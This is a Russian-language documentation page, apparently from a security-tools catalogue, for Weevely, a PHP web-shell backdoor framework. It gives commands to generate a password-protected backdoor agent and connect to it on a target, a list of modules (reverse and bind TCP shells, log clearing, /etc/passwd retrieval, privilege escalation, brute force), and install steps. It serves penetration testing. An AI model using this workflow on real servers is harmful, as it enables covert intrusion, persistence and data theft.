You are here: Home » Поддержка доступа » Weevely

Weevely

Описание Weevely

Weevely – это веб-шелл командной строки, динамически распространяемый по сети во время выполнения, предназначен для удалённого администрирования и тестирования на проникновение. Просто закиньте PHP скрипт, и программа обеспечит похожий на ssh терминал даже в ограниченном окружении.

Оставляющий мало следов агент и более 30 модулей формируют расширяемый вреймворк для администрирования веб-аккаунтов, пост эксплуатационного повышения привилегий веб-серверов и латерального продвижения по сети.

Функции модулей:

  • Похожий на SSH терминал
  • Запуск SQL консоли, завёрнутой на цель
  • Пропуск HTTP трафика до цели через прокси
  • Аудит безопасности настройки хоста
  • Локальное монтирование целевой файловой системы
  • Проведение сетевых сканирований завёрнутых на цель
  • Выгрузка и загрузка файлов
  • Порождение обратного и прямого TCP шелла
  • Брут-форс внутренних служб
  • Управление сжатыми архивами
  • Агент бэкдора

Удалённым агентом является маленький PHP скрипт, которые может расширять свою функциональность по сети в реальном времени. Код агента является полиморфным, трудно выявляемым антивирусами, а трафик внутри HTTP запросов обфусцирован.

Домашняя страница: https://github.com/epinna/weevely3

Автор:

Лицензия: GPLv3

Справка по Weevely

использование: 

weevely [-h] {terminal,session,generate} ...
позиционные аргументы:
  {terminal,session,generate}
    terminal            Запустить терминал
    session             Восстановить существующий файл сеанса
    generate            Сгенерировать новый пароль

optional arguments:
  -h, --help            показать справку и выйти

Руководство по Weevely

Страница man отсутствует.

Первый запуск Weevely

Генерация агента бэкдора

Для генерации нового агента, просто используйте опцию generate, передайте пароль и путь до файла в качестве аргументов.

./weevely.py generate mypassword ~/agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.

Затем, выгрузите сгенерированный агент в веб папку цели. Убедитесь, что скрипт доступен и может исполняться на веб-сервере.

Подключение к агенту

Запустите скрипт weevely для подключения к удалённому агенту.

./weevely.py http://target/agent.php mypassword
weevely>

Первое приглашение weevely> означает, что ещё отсутствует подключение, перед подключением вы можете установить полезные опции, такие как использование прокси. Запуск реальных команд автоматически запустит сессию на удалённую цель.

weevely> ls
agent.php
index.html
joomla-3.2.1
www-data@target:/var/www $ cd ..
www-data@target:/var/ $ whoami
www-data
www-data@target:/var/ $ uname -a
Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux
www-data@target:/var/ $

Доступные команды:

 :audit_filesystem             Аудит файловой системы на неверные разрешения.                            
 :audit_etcpasswd              Различными техниками получить /etc/passwd.                           
 :audit_linuxprivchecker       Выгрузить и выполнить linuxprivchecker                                  
 :audit_disablefunctionbypass  Обход ограничений системных disable_function через mod_cgi и .htaccess    
 :audit_suidsgid               Поиск файлов с флагами SUID или SGID.                                  
 :audit_phpconf                Аудит PHP конфигурации.                                             
 :shell_sh                     Выполнить Shell команды.                                              
 :shell_su                     Повышение привилегий с su командой.                                  
 :shell_php                    Выполнить PHP команды.                                                
 :system_info                  Собрать информацию о системе.                                          
 :system_extensions            Собрать список расширений PHP и веб-сервера.                            
 :backdoor_tcp                 Породить шелл на TCP порту.                                         
 :backdoor_reversetcp          Выполнить обратный TCP шелл.                                         
 :bruteforce_sql               Брутфорс базы данных SQL.                                             
 :file_rm                      Удалить удалённый файл.                                                  
 :file_download                Загрузить файл из удалённой файловой системы.                                
 :file_webdownload             Загрузить URL на файловую систему                                       
 :file_cd                      Изменить текущую рабочую директорию.                                    
 :file_edit                    Редактировать удалённый файл в локальном редакторе.                                  
 :file_upload                  Выгрузить файл на удалённую файловую систему.                                    
 :file_ls                      Список содержимого директории.                                              
 :file_upload2web              Выгрузить файл автоматически в веб-папку и получить соответствующий URL. 
 :file_mount                   Смонтировать удалённую файловую систему используя HTTPfs.                                
 :file_enum                    Проверить существования и разрешения списка путей.                  
 :file_bzip2                   Сжать или разжать bzip2 файлы.                                      
 :file_clearlog                Простая очистка лога                                                     
 :file_grep                    Напечатать строки, соответствующие образцу, из множества файлов.                    
 :file_find                    Найти файлы с данными именами и атрибутами.                          
 :file_check                   Получить информацию об удалённом файле.                                         
 :file_tar                     Сжать или разжать tar архивы.                                     
 :file_zip                     Сжать или разжать zip файлы.                                        
 :file_touch                   Изменить временную метку файла.                                               
 :file_gzip                    Сжать или разжать gzip файлы.                                       
 :file_cp                      Копировать единичный файл.                                                    
 :file_read                    Прочитать удалённый файл из удалённой файловой системы.                         
 :sql_console                  Выполнить SQL запрос или запустить консоль.                                    
 :sql_dump                     Множественная замена СУБД mysqldump.                                    
 :net_phpproxy                 Установка PHP прокси на цель.                                     
 :net_mail                     Отправить письмо.                                                           
 :net_curl                     Выполнить запрос в стиле a curl HTTP.                                    
 :net_scan                     Сканирование портов TCP.                                                       
 :net_proxy                    Пропускать через прокси локальный HTTP трафик проходящий через цель.               
 :net_ifconfig                 Получить адреса сетевых интерфейсов. 

Примеры запуска Weevely

Сгенерировать PHP бэкдор (generate) и сохранить в директорию пользователя в файл (~/index2.php) защищённый данным паролем (s3cr3t).

weevely generate s3cr3t ~/index2.php
Generated backdoor with password 's3cr3t' in '/home/mial/index2.php' of 1325 byte size.

Подключиться к удалённому бэкдору, размещённому по адресу (http://example.org/index2.php) с данным паролем (s3cr3t).

weevely http://example.org/index2.php s3cr3t

Установка Weevely

Программа предустановлена в Kali Linux.

Установка в BlackArch

Программа предустановлена в BlackArch.

Установка Weevely в Linux (на примере Debian/Ubuntu/Linux Mint)

Установка необходимых пакетов

sudo apt-get install g++ python-pip libyaml-dev python-dev

Установка зависимостей

sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

Скачиваем файлы программы

git clone https://github.com/epinna/weevely3.git
cd weevely3/
python2 ./weevely.py

Установка Weevely в OS X

Следующие примеры выполнялись на OS X с системой пакетов Macports.

sudo port install python27 py27-pip
sudo port select --set pip pip27
sudo port select --set python python27
# В идеале, на этом этапе вам следует установить библиотеку editline (http://thrysoee.dk/editline/)
# чтобы получить рабочий авто завершитель строк в терминале.
sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

Установка Weevely в Windows

Следующие примеры выполнены на Microsoft Windows 7 с Python версии 2.7. Весьма вероятно, они будут работать и на других версиях Windows. Самое первое, установите Python 2.7 и менеджер пакетов pip используя ez_setup.py как объяснено в этой инструкции.

# Войдите в папку, которая позволяет вызвать pip.exe, обычно это C:\Python27\Scripts\ если не установлен %PATH%
# установите следующие зависимости
> pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

Скриншоты Weevely

01

02

03

04

05

Инструкции по Weevely

Близкие программы:

Рекомендуемые статьи: